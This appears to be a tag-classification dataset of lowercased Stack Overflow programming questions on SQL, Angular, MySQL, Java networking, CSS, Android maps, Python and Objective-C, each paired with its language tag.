get combined difference (not common/ intersecting  records) from two queries  <strong>database -</strong> microsoft adventureworks    <strong>tables -</strong>  sales.salesorderheader    <strong>problem -</strong> which customers (ie customerid s) ordered something in march 2003 or april 2003 but not both.    <strong>concept -</strong>     get the blue parts  ie elements/rows <em>unique</em> to a and those <em>unique</em> to b.  <img src= https://i.stack.imgur.com/huarm.png  alt= image credits - jeff atwood of codinghorror.com >    <strong>my query -</strong>    <pre><code>select soh.customerid  soh.orderdate  from sales.salesorderheader as soh where soh.orderdate &gt;=  2003-03-01  and soh.orderdate &lt;  2003-04-01  -- march only  union  select soh.customerid  soh.orderdate  from sales.salesorderheader as soh where soh.orderdate &gt;=  2003-04-01  and soh.orderdate &lt;  2003-05-01  -- april only     order by soh.orderdate asc; </code></pre>   <strong>my questions -</strong>     did i answer the problem correctly    any other ways of solving this problem  preferably lesser amount of code      <strong>edit -</strong> ooops. this will only give orders in the 2 months and not answer the question. so  i am wrong. trying to fix it.    thanks.,sql
how do i define constructor in service and factory in angular   i am little bit familiar with angular. still on learning process. working with ng version 1.4.8. so i like to know how could i define constructor function in service and factory.    here is one sample service .now tell me how to define constructor in service or factory     <pre><code>angular.module( myapp ).service( helloservice  function($timeout){   this.sayhello=function(name){     $timeout(function(){       alert( hello  +name);     } 2000);   } });  angular.module( myapp ).controller( testcontroller     function(helloservice){   helloservice.sayhello( angularjs ); // alerts hello angularjs }); </code></pre>,angularjs
scale large mysql table  i have a table which is growing very quickly  currently it has 47000000+ rows.     even very simple queries such as this is taking <strong>46</strong> seconds at times.   <pre><code>select id  userid  visitorid  date from  user_views limit 20000000  1; </code></pre>   table structure is :   <pre><code>field      type             null  key   default extra id         int(11)unsigned  no    pri   null    auto_increment userid     int(11)unsigned  no    mul   null      visitorid  int(11)          no    mul   null      date       datetime         no    mul   null      </code></pre>   already the application is running with 1 master and 6 slaves. cant afford more instances.     have btree index on id    is there any way to make it faster     thanks,mysql
the type or namespace name  entities  does not exist in the current namespace  motorcarfleetmanagement.models   i am developing a web application in asp.net core 2.0  and i get this error when i attempt to include a folder within the motorcarfleetmanagement namespace  even though everything is spelled correctly. any idea why i am getting the squiggly line  check out the picture below. it is clearly within my namespace. <a href= https://i.stack.imgur.com/k3au6.png  rel= nofollow noreferrer >motorcarfleetmanagement application</a>,asp.net
store two columns of a datatable in one string using a separator  i have a <code>datatable</code> with the following structure   <pre><code>atm fault ---------     a01 34256 a02 56346 a03 98946 </code></pre>   how can i store it in one string variable by using pipe delimiter as   <pre><code>string temp= a01|34256 a02|56346 a03|98946 ; </code></pre>   <strong>i was converting my linq to datatable.but i it seems that i can do it in linq itself</strong>   <pre><code>var diff = dtopenevent.asenumerable().except(dtoutputtemp.asenumerable()  datarowcomparer.default); datatable di = diff.copytodatatable();//this is the datatable which i want to convert </code></pre>   <strong>how can i achieve same by modifying only <code>var diff</code> statement so that there is no need to convert it in datatable</strong>,c#
using mysql instead of sqlite in a rails app  i m not sure how to find what i m looking for here  but i ve cloned a rails app from someone else and they were using sqlite  how do i switch the project over to mysql  there are no migrations but it has a schema. thanks.,ruby-on-rails
control access to class  i am using a class and functions for a controller.<br> consider the following url:   <pre><code>http://localhost:8888/mvc/user/profile/1 </code></pre>   the class is user and the function is profile.<br> what is the best technique for someone going to   <pre><code>http://localhost:8888/mvc/user/random </code></pre>   and getting redirected elsewhere if the function isn t present <br> as i m unsure about this  i don t know what extra information you may need,php
the image which uiimagepicker take from ui is truncated on top and bottom  i am using uiimagepicker to take photo and save the photo. but appears the photo it takes was truncated on top and bottom  which was top and bottom menu when uiimagepicker taking the photo. i am wondering how to take the whole screen of the photo.    thanks.,iphone
good habits for setting/getting large amounts of variables in c++  i m new to c++ and am making a game to teach myself more.     i would like to hear some of your thoughts in regard to storing/accessing large amounts of variables.     what i ve done so far is tried to stick my  critical  variables into separate namespaces so that i can access them throughout my program.     is this a good idea  i have a strong feeling that it may come back to bite me.    thanks in advance =]    edit: i m a computing student in first year but i have a few years experience with java.. c++ is so different =/,c++
can i use php to detect if a file is already in the browser cache  i m preloading 8 large background images into each page of my site by appending them to the document.body. the process is much too slow to repeat on each page  so i m trying to figure out how to detect if the files are already in the cache before loading them again. i tried loading one image for each page  but that is also too slow.    i ve read many posts on the subject of reading the browser cache and the consensus seems to be that it can t be done reliably with js or jquery.    does anyone know if this can be done with php     here s the php code that i m using to load the images.   <pre><code>$imglist = glob( images/*.jpg ); asort($imglist);  for ($i = 0; $i &lt; count($imglist); $i++) {     $imgstr .= $imglist[$i].   ; } echo substr($imgstr  0  strlen($imgstr) - 1); </code></pre>,php
how do i find the source of a rails 3  deprecation warning    i m getting a deprecation warning from rails 3 in development.log as follows:   <blockquote>    deprecation warning: calling a method   in rails::application is deprecated    please call it directly in your   application constant   myapp::application. (called from ...   config/environment.rb:5)  </blockquote>   when i go to config/environment.rb  i get this:   <blockquote>    myapp::application.initialize!  </blockquote>   presumably this line is not the problem.  i found something similar <a href= http://exviva.posterous.com/ tag=rails3  rel= nofollow >here</a>  which seems to require exchanging rails.application for myapp::application - but i already have the latter.    is there any way to determine what is triggering this warning,ruby-on-rails
nspredicate validate: a-z  0-9 and underline  i want to only allow a-z  0-9 and _(underline)  but its not working properly.   <pre><code>nsstring *test = @ name_test09 ; // should be valid nspredicate *predicate = [nspredicate predicatewithformat:@ self matches %@   @ [a-z0-9_] ];  if ([predicate evaluatewithobject:test] == no) {     // not validated } else {     // validated } </code></pre>,objective-c
java daytime client  i need to get current time from a date time server by using following code.    <pre><code>import java.io.*; import java.net.*;   class daytimeclient {       public static void main (string[] args) throws ioexception {         if ((args.length != 1))         ( syntax: daytimeclient &lt;host&gt;[:&lt;port&gt;] );          int idx = args[0].indexof ( : );         int port = (idx &gt; -1)   integer.parseint (args[0].substring (idx + 1))           : 13;         string hostname = (idx &gt; -1)   args[0].substring (0  idx) : args[0];         inetaddress host = inetaddress.getbyname (hostname);          datagramsocket socket = new datagramsocket ();         socket.setsotimeout (5000);         datagrampacket packet = new datagrampacket (new byte[256]  1  host  port);         socket.send (packet);         packet.setlength (packet.getdata ().length);         socket.receive (packet);         socket.close ();          byte[] data = packet.getdata ();         int length = packet.getlength ();         system.out.println (new string (data  0  length   latin1 ));     } } </code></pre>   after compile i run this code with  java daytimeclient 165.193.126.229 .but it doesn t worked. got the error    <blockquote>    c:\daytimeclient>java daytimeclient 96.47.67.105   exception in thread  main  java.net.sockettimeoutexception: receive timed out           at java.net.dualstackplaindatagramsocketimpl.socketreceiveorpeekdata(native method)           at java.net.dualstackplaindatagramsocketimpl.receive0(unknown source)           at java.net.abstractplaindatagramsocketimpl.receive(unknown source)           at java.net.datagramsocket.receive(unknown source)           at daytimeclient.main(daytimeclient.java:32)  </blockquote>   then i wrote a server as follow     <pre><code>import java.io.*; import java.net.*;  public class daytimeserver {   public static final int default_port = 13;   public static void main (string[] args) throws ioexception {     if (args.length &gt; 1)       throw new illegalargumentexception ( syntax: daytimeserver [&lt;port&gt;] );     datagramsocket socket = new datagramsocket       (args.length == 0   default_port : integer.parseint (args[0]));     datagrampacket packet = new datagrampacket (new byte[1]  1);     while (true) {       socket.receive (packet);       system.out.println         ( received from:   + packet.getaddress () +  :  + packet.getport ());       byte[] outbuffer = new java.util.date ().tostring ()         .getbytes ( latin1 );       packet.setdata (outbuffer);       packet.setlength (outbuffer.length);       socket.send (packet);     }   } } </code></pre>   and run the first code with  java daytimeclient localhost . then it s work.    i need to do my work with a remort day time server so why  java daytimeclient 165.193.126.229  doesn t worked.     (reference codes got from <a href= http://www.stepwise.hk/npwiki/tutorial/javaudpdaytime  rel= nofollow >http://www.stepwise.hk/npwiki/tutorial/javaudpdaytime</a>),java
add text editor to my web application  i need a text editor that i can add as a component to my asp.net web application  but i need an extra feature in it  it s watermarking. can you help me     i mean text watermark like  confidential  word in the following image.    <img src= https://i.stack.imgur.com/0rcew.png  alt= enter image description here >,asp.net
local variable not accessed &  this  context enforcement  i have the following piece of code that is giving me trouble working [question(s) after code]   <pre><code>var lib = function(){};  (function(){ var jsexpert = function(lname){     if(!(this instanceof arguments.callee)){         return new jsexpert(lname);     }      this.fname =  later  ;     this.name = this.fname + lname; };  jsexpert.prototype = {     setfname: function(fname){         this.fname = fname;         return this; //for chaining     }       getname: function(){         alert( javascript expert name is   + this.name);     } };  lib.expert = jsexpert; return;      window.jsexpert = jsexpert; })(); </code></pre>   now here come the test code   <pre><code>lib.expert( edwads ).setfname( dean ).getname(); </code></pre>   now when you try the code the setfname() method which is supposed to change  later   in the constructor by  dean  isn t doing it  why is that        second question: we re using  this  inside jsexpert. how can one be sure the context of  this  isn t bound later to the context of  lib  and stay enforced to that of  jsexpert  and thus  lib.expert       thanks,javascript
how to access asmx service from html   i have a html document and an .asmx service i would like to consume. the web service sends a  hello world  message. how do i get the html to receive it     thank you for your help.,html
sum the first n numbers in java <blockquote>    hello  i am new to programming and i am trying to write a small program where it will calculate the sum for first n numbers. the problem is it does not work for even numbers. i have not managed to figure out why.    my code is as follow:  </blockquote>  <pre><code>int n = integer.parseint(args[0]);     int sum = (1+n)/2*n;     system.out.println(sum +   is the sum of first   + n +   numbers ); </code></pre>,java
hiding a table row for a cell containing a span  i am trying to hide a row which contains in one of the cells a specific span element.  the following code is what i have so far - but there is no getelementsbytagname for a tr     what else can i do to get the row   thanks !   <pre><code>&lt;table id= tablecontainer &gt; &lt;tr&gt;&lt;td&gt;&lt;span id= xyz &gt;hide&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;&lt;span id= abc &gt;show&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/table&gt;  container = document.getelementbyid( tablecontainer ); items = container.getelementsbytagname( tr );  for (var j = 0; j &lt; items.length; j++) {     spans = items.getelementsbytagname( span );     for (var i=0; i&lt;spans.length; i++) {         if (spans.id ==  xyz ) {             items.display =  none ;         }     } } </code></pre>,javascript
hide view in interface builder when there are multiple views  this is probably a dumb question  but i can t seem to figure it out.  in ib  if i have two uiviews  that are subviews of the main uiviewcontroller.view that i basically show and hide depending on the user s input  is there a way to hide one of the views while working in ib.  all the text/buttons are on top of each other so i can t really tell what s going on.  is there a way to just make that view and all its children hidden while i work on the other view   thanks.,iphone
where can i find source code of modules in `lib-dynload`   many built-in libraries use c implementations whenever possible.    for example  <code>heapq</code> uses <code>lib-dynload/_heapq.so</code> if it s available.    where can i find source code of modules like <code>_heapq</code>,python
how to set a slider in preferencescreen of android   i know there are checkboxpreference  listpreference and edittextpreference controls in preferencescreen.    is there a slider control in preferencescreen which i can set max value and min value  and select any value between max and min value,android
subclassing basic datatypes in python  i want to subclass the <code>float</code> datatype in python3. my goal is to make a variable that returns its original value  +/- some range. via other discussions  i know i can to this by:   <pre><code>class montecarlovariable(float):      def __new__(cls  mean  std):         val = np.random.normal(mean  std)         return super(montecarlovariable  cls).__new__(cls  val) </code></pre>   this then gives me:   <pre><code>&gt;&gt;&gt; a = montecarlovariable(10  2) &gt;&gt;&gt; a 7.5 </code></pre>   what i would like  is that <code>a</code> changes value every time that it s used. i.e. :   <pre><code>&gt;&gt;&gt; a 9.3 &gt;&gt;&gt; a 11.6 </code></pre>   ... etc    if this isn t possible  how would i add a function to force a change  something like:   <pre><code>&gt;&gt;&gt; a 7.5 &gt;&gt;&gt; a.roll() &gt;&gt;&gt; a 10.1 </code></pre>   the reason i m trying to subclass <code>float</code> is that i don t want to redefine every <code>__add__</code> and <code>__sub__</code> type function.,python
sql query : calculating cross distances based on master detail predefined tables  i have a database with many tables  especially two tables one store paths and the other one store cities of a path :    table paths [ pathid  name ]<br> table routes [ id  pathid(forein key)  city  gotime  backtime  godistance  backdistance]    table paths :   <pre><code>--------------------------------------- |pathid |name                         | |-------+-----------------------------| |1      |newyork casablanca alpha 1   | |7      |paris dubai 6007 10:00       | --------------------------------------- </code></pre>   table routes :   <pre><code>id     pathid      city       gotime      backtime      godistance      backdistance 1      1           newyork    08:00       23:46         5810            null 2      1           casablanca 15:43       16:03         null            5800 3      7           paris      10:20       14:01         3215            null 4      7           cairo      14:50       09:31         2425            3215 3      7           dubai      18:21       06:00         null            2425 </code></pre>   i want a query that gives me all the possible combinations inside the same path  something like :   <pre><code>pathid    cityfrom    cityto     distance </code></pre>   i don t know if i made myself clear or not but hope you guys could help me  thanx in advance.    this is the good answer done manually !!   <pre><code>------------------------------------------------------ |pathid |go_back    |citya      |cityb      |distance| |-------+-----------+-----------+-----------+--------| |1      |go         |newyork    |casablanca |5810    | |1      |back       |casablanca |newyork    |5800    | |7      |go         |paris      |cairo      |3215    | |7      |go         |paris      |dubai      |5640    | |7      |go         |cairo      |dubai      |2425    | |7      |back       |dubai      |cairo      |2425    | |7      |back       |dubai      |paris      |5640    | |7      |back       |cairo      |paris      |3215    | ------------------------------------------------------ </code></pre>,sql
assignment operator for functions  i m having a bit of trouble understanding what the assignment operator is used for when dealing with methods  functions  etc. here is the example in w3 school for defining an object   <pre><code>function person(firstname lastname age eyecolor){ this.firstname=firstname; this.eyecolor=eyecolor;  this.newlastname=newlastname; } </code></pre>   and this is the actual function (place somewhere else)   <pre><code>function newlastname(new_lastname){ this.lastname=new_lastname; } </code></pre>   it s just very weird to me throughout javascript  you say    <pre><code>object.methodname = somefunctionname </code></pre>   any ideas to help me conceptualize it,javascript
css issue with top margin  i had created  the following divs and its definition.   <pre><code>&lt;div class= serach-container &gt;   &lt;div class= search-keys-container &gt;     &lt;div class= search-type &gt; &lt;/div&gt;     &lt;div class= basic-search-keys-container &gt; &lt;/div&gt;     &lt;div class= advance-search-keys-container &gt;&lt;/div&gt;   &lt;/div&gt;   &lt;div class= search-result-container &gt;&lt;/div&gt; &lt;/div&gt; </code></pre>  <pre class= lang-css prettyprint-override ><code>.search-type{     height:20px;     width:auto;     margin:5px 10px;     background-color:#4000a0; } </code></pre>   <a href= http://jsfiddle.net/manuthalasseril/cbrhx/2/  rel= nofollow >jsfiddle</a>    but unfortunately the top-margin of class <strong>search type</strong> goes upwards. i tried by adjusting the margins so and so. but no result is found. without margins it is ok. but i want the margins.    edit:    i dont know why top-margin is not working. anyway an alternative solution is put another div say <strong>error-correct</strong> before the <strong>search-type</strong> div ie   <pre><code>&lt;div class= serach-container &gt;   &lt;div class= search-keys-container &gt;      &lt;div class= error-correct &gt;&lt;/div&gt;      &lt;div class= search-type &gt;/div&gt;      &lt;div class= basic-search-keys-container &gt;&lt;/div&gt;      &lt;div class= advance-search-keys-container &gt;&lt;/div&gt;   &lt;/div&gt;   &lt;div class= search-result-container &gt;   &lt;/div&gt; &lt;/div&gt;  .search-type{   height:20px;   width:auto;   margin:0px 10px 5px 10px;   background-color:#4000a0; } .error-correct{   width:100%;   height:5px; } </code></pre>   <a href= http://jsfiddle.net/manuthalasseril/fxddz/5/  rel= nofollow >jsfiddle</a> thanks all my friends for your great help.,css
how to find out how many applications is installed in my ios device from ios app  can i find out the list of all application which is installed in my ios device. with the help of ios sdk. or any application or code  which will give me the result for that.    please give me suggestion.    thanks in advance.,ios
.net: what is your approach for doing some popular task like making disabled/enabled all buttons of a toolstrip buttons  when developing a software   first: sorry for my poor english writing.    i remember that in vb6.0 days  we had some modules just for popular tasks like making disabled/enabled all buttons of a toolbar buttons or like calculating records count in a specific recordset.    now  in .net days  what is your approach for doing such these popular tasks  do you create a static class      thank you,.net
plot chi-squared for the optimal order of a fit with polynomial  i have the following code  in which dgauss is a function that generates the expected values. the two arrays  on the other hand  allow me to generate a distribution  that i take as observed values. the code  based on the observed values  extracts a polynomial (for the moment of the seventh degree) that describes its trend.   <pre><code>import numpy as np import matplotlib matplotlib.use( qt5agg ) import matplotlib.pyplot as plt import scipy from scipy.optimize import curve_fit from scipy import interpolate   def dgauss(x i1 i2 sigma1 sigma2):     return i1*np.exp(-x*x/(2*sigma1*sigma1)) + i2*np.exp(-x*x/(2*sigma2*sigma2))  pos = np.array([3.28  3.13  3.08  3.03  2.98  2.93  2.88  2.83  2.78  2.73  2.68         2.63  2.58  2.53  2.48  2.43  2.38  2.33  2.28  2.23  2.18  2.13         2.08  2.03  1.98  1.93  1.88  1.83  1.78  1.73  1.68  1.63  1.58         1.53  1.48  1.43  1.38  1.33  1.28  1.23  1.18  1.13  1.08  1.03         0.98  0.93  0.88  0.83  0.78  0.73  0.68  0.63  0.58  0.53  0.48         0.43  0.38  0.33  0.28  0.23  0.18  0.13  0.08  0.03])  val = np.array([0.00986279  0.01529543  0.0242624   0.0287456   0.03238484         0.03285927  0.03945234  0.04615091  0.05701618  0.0637672          0.07194268  0.07763934  0.08565687  0.09615262  0.1043281          0.11350606  0.1199406   0.1260062   0.14093328  0.15079665         0.16651464  0.18065023  0.1938894   0.2047541   0.21794024         0.22806706  0.23793043  0.25164404  0.2635118   0.28075974         0.29568682  0.30871501  0.3311846   0.34648062  0.36984661         0.38540666  0.40618835  0.4283945   0.45002014  0.48303911         0.50746062  0.53167057  0.5548792   0.57835128  0.60256181         0.62566436  0.65704847  0.68289386  0.71332794  0.73258027         0.769608    0.78769989  0.81407275  0.83358852  0.85210239         0.87109068  0.89456217  0.91618782  0.93760247  0.95680234         0.96919757  0.9783219   0.98486193  0.9931429 ])  f = np.linspace(-9 9 2*len(pos))      plt.errorbar(pos  val  xerr=0.02  yerr=2.7e-3  fmt= o ) popt  pcov = curve_fit(dgauss  pos  val) plt.plot(f  dgauss(f  *popt)   --   label= double gauss )  x = pos y = val z  w = np.polyfit(x  y  7  full=false  cov=true) p = np.poly1d(z) u = np.array(p) xp = np.linspace(0  6  100) _ = plt.plot(xp  p(xp)   -   color= darkviolet ) x = symbols( x ) list = u[::-1] poly = sum(s( {:7.3f} .format(v))*x**i for i  v in enumerate(list)) eq_latex = sympy.printing.latex(poly) print(eq_latex)  chisquares = [] dofs = 10 for i in np.arange(1 dofs+1):     z = np.polyfit(x  y  i  full=false  cov=false)     chi = np.sum((np.polyval(z  x) - y) ** 2) / np.std(y)     chinorm = chi/i     chisquares.append(chinorm)  plt.plot(np.arange(1 dofs+1) chisquares)  plt.show() </code></pre>   what i expect are different chi squared distributions  but it returns only the plot of a broken line  of which i do not understand its meaning. could someone help me kindly,python
how does  boxing  work in .net   i know what  boxing  is:   <pre><code>object mybox = 5; </code></pre>   now i wish to increase my knowledge. is a special type created for this boxing operation  or is <code>system.object</code> used  how does .net handle boxing,.net
the change of php 5.2 to 5.6 modifies the characteristics of the opening and closing script  the opening of the scripts change     the closure of the scripts changes   >   to  ...-- >     the scripts are not executed    i searched the web possible causes  but i have not found anything.    please  i ask help    example:   <pre><code>&lt; php     session_start();     $codigo_isef =  md5(uniqid(rand()  true));     $codigo_isef  = trim($codigo_isef);   &gt; </code></pre>   to   <pre><code>... &lt;!--      session_start();     $codigo_isef =  md5(uniqid(rand()  true));     $codigo_isef  = trim($codigo_isef);  ...-- &gt; </code></pre>   let me explain:    i open with       the browser does not process the code and change the characters  ...,php
how to set the child two div 50%  50% with the parent div  i have following kind of pattern. how to apply a css changes for first and second childdiv  class  to 50% to the parent div    how do i set 50%  50% to the child div    <pre><code>&lt;div class= parentdiv &gt;     &lt;div class= childdiv &gt;   // 50% width    &lt;/div&gt;    &lt;div class= childdiv &gt;   // 50% width    &lt;/div&gt; &lt;/div&gt; </code></pre>,css
unrecognized selector sent to instance (multiple view controllers)  there are two view controllers that i access using an nstabview: <code>viewcontroller1</code> and <code>viewcontroller2</code>.  in my appdelegate  i have a variable that i wish to share between the two:    appdelegate.h:   <pre><code>@interface appdelegate : nsobject &lt;nsapplicationdelegate&gt; {    nsmutablestring *mystring; } @property (assign) nsmutablestring *mystring; </code></pre>   viewcontroller.h:   <pre><code>-(void)dostuff {   appdelegate *del = (appdelegate *)[[nsapplication sharedapplication] delegate];   [del.mystring setstring:@ this is a test ]; } </code></pre>   this is the error i get when <code>dostuff()</code> is called:   <pre><code>2014-06-10 16:29:09.240 myapp[32297:303] -[viewcontroller2 mystring]:                         unrecognized selector sent to instance 0x6100001a7700 2014-06-10 16:29:09.240 myapp[32297:303] an uncaught exception was raised 2014-06-10 16:29:09.240 myapp[32297:303] -[viewcontroller2 mystring]:                         unrecognized selector sent to instance 0x6100001a7700 2014-06-10 16:29:09.241 myapp[32297:303] ( 0   corefoundation        0x00007fff8d52d25c __exceptionpreprocess + 172 1   libobjc.a.dylib       0x00007fff93f16e75 objc_exception_throw + 43 2   corefoundation        0x00007fff8d53012d -[nsobject(nsobject)                                               doesnotrecognizeselector:] + 205 3   corefoundation        0x00007fff8d48b322 ___forwarding___ + 1010 4   corefoundation        0x00007fff8d48aea8 _cf_forwarding_prep_0 + 120 5   recorder              0x0000000100006b55 -[viewcontroller1 dostuff:] + 549 </code></pre>   why is there an error being thrown in the other view controller,objective-c
calling class library function after time interval  i have one class library which i made in c#.    now i want to host this class library on some server &amp; one function of this library should call after every 10 minutes.    i am very much unsure how to do this.    any kind of suggestions are welcomed.,c#
andoid tabbed activity with location in mapactivity in the second tab  i am building an android app with tabbed activity with 2 tabs. so  in the second tab i want to display a map which gives the current location of the user. for that  i have created a google map activity fragment. when a swipe to the second tab the map appears but doesn t give the current location. i think that the mapsactivity class is not loaded. here is my mainactivity class   <pre><code>package com.iam.muhamad.testtab;  import android.content.intent; import android.support.design.widget.tablayout; import android.support.design.widget.floatingactionbutton; import android.support.design.widget.snackbar; import android.support.v7.app.appcompatactivity; import android.support.v7.widget.toolbar;  import android.support.v4.app.fragment; import android.support.v4.app.fragmentmanager; import android.support.v4.app.fragmentpageradapter; import android.support.v4.view.viewpager; import android.os.bundle; import android.view.layoutinflater; import android.view.menu; import android.view.menuitem; import android.view.view; import android.view.viewgroup;  import android.widget.textview;  import java.text.dateformat; import java.text.simpledateformat;  public class  mainactivity extends appcompatactivity {      /**      * the {@link android.support.v4.view.pageradapter} that will provide      * fragments for each of the sections. we use a      * {@link fragmentpageradapter} derivative  which will keep every      * loaded fragment in memory. if this becomes too memory intensive  it      * may be best to switch to a      * {@link android.support.v4.app.fragmentstatepageradapter}.      */     private sectionspageradapter msectionspageradapter;      /**      * the {@link viewpager} that will host the section contents.      */     private viewpager mviewpager;      @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);          toolbar toolbar = (toolbar) findviewbyid(r.id.toolbar);         setsupportactionbar(toolbar);         // create the adapter that will return a fragment for each of the three         // primary sections of the activity.         msectionspageradapter = new sectionspageradapter(getsupportfragmentmanager());          // set up the viewpager with the sections adapter.         mviewpager = (viewpager) findviewbyid(r.id.container);         mviewpager.setadapter(msectionspageradapter);          tablayout tablayout = (tablayout) findviewbyid(r.id.tabs);          mviewpager.addonpagechangelistener(new tablayout.tablayoutonpagechangelistener(tablayout));         tablayout.addontabselectedlistener(new tablayout.viewpagerontabselectedlistener(mviewpager));          floatingactionbutton fab = (floatingactionbutton) findviewbyid(r.id.fab);         fab.setonclicklistener(new view.onclicklistener() {             @override             public void onclick(view view) {                 snackbar.make(view   replace with your own action   snackbar.length_long)                 //snackbar.make(view  dateformat.tostring()  snackbar.length_long)                         .setaction( action   null).show()                 ;             }         });      }       @override     public boolean oncreateoptionsmenu(menu menu) {         // inflate the menu; this adds items to the action bar if it is present.         getmenuinflater().inflate(r.menu.menu_main  menu);         return true;     }      @override     public boolean onoptionsitemselected(menuitem item) {         // handle action bar item clicks here. the action bar will         // automatically handle clicks on the home/up button  so long         // as you specify a parent activity in androidmanifest.xml.         int id = item.getitemid();          //noinspection simplifiableifstatement         if (id == r.id.action_settings1) {             return true;         }         if (id == r.id.action_settings2) {             return true;         }          return super.onoptionsitemselected(item);     }      /**      * a placeholder fragment containing a simple view.      */     public static class placeholderfragment extends fragment {         /**          * the fragment argument representing the section number for this          * fragment.          */         private static final string arg_section_number =  section_number ;          public placeholderfragment() {         }          /**          * returns a new instance of this fragment for the given section          * number.          */         public static placeholderfragment newinstance(int sectionnumber) {             placeholderfragment fragment = new placeholderfragment();             bundle args = new bundle();             args.putint(arg_section_number  sectionnumber);             fragment.setarguments(args);             return fragment;         }          @override         public view oncreateview(layoutinflater inflater  viewgroup container                                   bundle savedinstancestate) {             view rootview = null;             switch (getarguments().getint(arg_section_number)){                 case 1 :                     rootview = inflater.inflate(r.layout.fragment_main  container  false);                     break;                 case 2 :                     rootview = inflater.inflate(r.layout.activity_maps  container  false);                     break ;             }              /*view rootview = inflater.inflate(r.layout.fragment_main  container  false);             textview textview = (textview) rootview.findviewbyid(r.id.section_label);             textview.settext(getstring(r.string.section_format  getarguments().getint(arg_section_number)));*/             return rootview;         }     }      /**      * a {@link fragmentpageradapter} that returns a fragment corresponding to      * one of the sections/tabs/pages.      */     public class sectionspageradapter extends fragmentpageradapter {          public sectionspageradapter(fragmentmanager fm) {             super(fm);         }          @override         public fragment getitem(int position) {             // getitem is called  to instantiate the fragment for the given page.             // return a placeholderfragment (defined as a static inner class below).             return placeholderfragment.newinstance(position + 1);         }          @override         public int getcount() {             // show 2 total pages.             return 2;         }         public charsequence getpagetitle(int position){             switch (position) {                 case 0:                     return  section 1 ;                 case 1:                     return  section 2 ;             }             return null;         }      } } </code></pre>   this is my mapsactivity class   <pre><code>    package com.iam.muhamad.testtab;  import android.manifest; import android.content.intent; import android.content.pm.packagemanager; import android.location.address; import android.location.geocoder; import android.location.location; import android.location.locationlistener; import android.location.locationmanager; import android.provider.settings; import android.support.v4.app.activitycompat; import android.support.v4.app.fragmentactivity; import android.os.bundle;  import com.google.android.gms.maps.cameraupdatefactory; import com.google.android.gms.maps.googlemap; import com.google.android.gms.maps.onmapreadycallback; import com.google.android.gms.maps.supportmapfragment; import com.google.android.gms.maps.model.latlng; import com.google.android.gms.maps.model.markeroptions;  import java.io.ioexception; import java.util.list;  public class mapsactivity extends fragmentactivity implements onmapreadycallback {      private googlemap mmap;     locationmanager locationmanager;      @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_maps);         // obtain the supportmapfragment and get notified when the map is ready to be used.         supportmapfragment mapfragment = (supportmapfragment) getsupportfragmentmanager()                 .findfragmentbyid(r.id.map);         mapfragment.getmapasync(this);          locationmanager = (locationmanager) getsystemservice(location_service);         if (activitycompat.checkselfpermission(this  manifest.permission.access_fine_location) != packagemanager.permission_granted &amp;&amp; activitycompat.checkselfpermission(this  manifest.permission.access_coarse_location) != packagemanager.permission_granted) {             // todo: consider calling             //    activitycompat#requestpermissions             // here to request the missing permissions  and then overriding             //   public void onrequestpermissionsresult(int requestcode  string[] permissions              //                                          int[] grantresults)             // to handle the case where the user grants the permission. see the documentation             // for activitycompat#requestpermissions for more details.             return;         }         if (locationmanager.isproviderenabled(locationmanager.network_provider)) {             locationmanager.requestlocationupdates(locationmanager.network_provider  0  0  new locationlistener() {                 @override                 public void onlocationchanged(location location) {                     double latitude = location.getlatitude();                     double longitude = location.getlongitude();                     latlng latlong = new latlng(latitude  longitude);                     list&lt;address&gt; addresslist = null;                     geocoder geocoder = new geocoder(getapplicationcontext());                     try {                         addresslist = geocoder.getfromlocation(latitude  longitude  1);                     } catch (ioexception e) {                         e.printstacktrace();                     }                     mmap.addmarker(new markeroptions().position(latlong).title(addresslist.get(0).getcountryname()+    +addresslist.get(0).getlocality()));                     mmap.movecamera(cameraupdatefactory.newlatlngzoom(latlong 15));                  }                  @override                 public void onstatuschanged(string provider  int status  bundle extras) {                  }                  @override                 public void onproviderenabled(string provider) {                  }                  @override                 public void onproviderdisabled(string provider) {                     intent intent = new intent(settings.action_location_source_settings);                     startactivity(intent);                 }             });         }         else if (locationmanager.isproviderenabled(locationmanager.gps_provider)) {             locationmanager.requestlocationupdates(locationmanager.gps_provider  0  0  new locationlistener() {                 @override                 public void onlocationchanged(location location) {                     double latitude = location.getlatitude();                     double longitude = location.getlongitude();                     latlng latlong = new latlng(latitude  longitude);                     list&lt;address&gt; addresslist = null;                     geocoder geocoder = new geocoder(getapplicationcontext());                     try {                         addresslist = geocoder.getfromlocation(latitude  longitude  1);                       } catch (ioexception e) {                         e.printstacktrace();                     }                     mmap.addmarker(new markeroptions().position(latlong).title(addresslist.get(0).getcountryname()+    +addresslist.get(0).getlocality()));                     mmap.movecamera(cameraupdatefactory.newlatlngzoom(latlong  15));                  }                  @override                 public void onstatuschanged(string provider  int status  bundle extras) {                  }                  @override                 public void onproviderenabled(string provider) {                  }                  @override                 public void onproviderdisabled(string provider) {                     intent intent = new intent(settings.action_location_source_settings);                     startactivity(intent);                 }             });         }     }       /**      * manipulates the map once available.      * this callback is triggered when the map is ready to be used.      * this is where we can add markers or lines  add listeners or move the camera. in this case       * we just add a marker near sydney  australia.      * if google play services is not installed on the device  the user will be prompted to install      * it inside the supportmapfragment. this method will only be triggered once the user has      * installed google play services and returned to the app.      */     @override     public void onmapready(googlemap googlemap) {         mmap = googlemap;          // add a marker in sydney and move the camera         /*latlng sydney = new latlng(-34  151);         mmap.addmarker(new markeroptions().position(sydney).title( marker in sydney ));         mmap.movecamera(cameraupdatefactory.newlatlng(sydney));*/     } } </code></pre>,android
type casting self  what does the following casting of self do  classa*    does this type caste allow you to access classa  classa.h:   <pre><code>@interface classa: nsobject {     nsuinteger _somenumber;     classb *_classb; } @property (nonatomic retain) classb *classb; @property (nonatomic assign) nsuinteger somenumber; </code></pre>   classb method:   <pre><code>-(void) classbmethod {     [(classa*)self setsomenumber:5]; } </code></pre>,objective-c
what is initwithcoder   please explain to me what is initwithcoder     thanks.,iphone
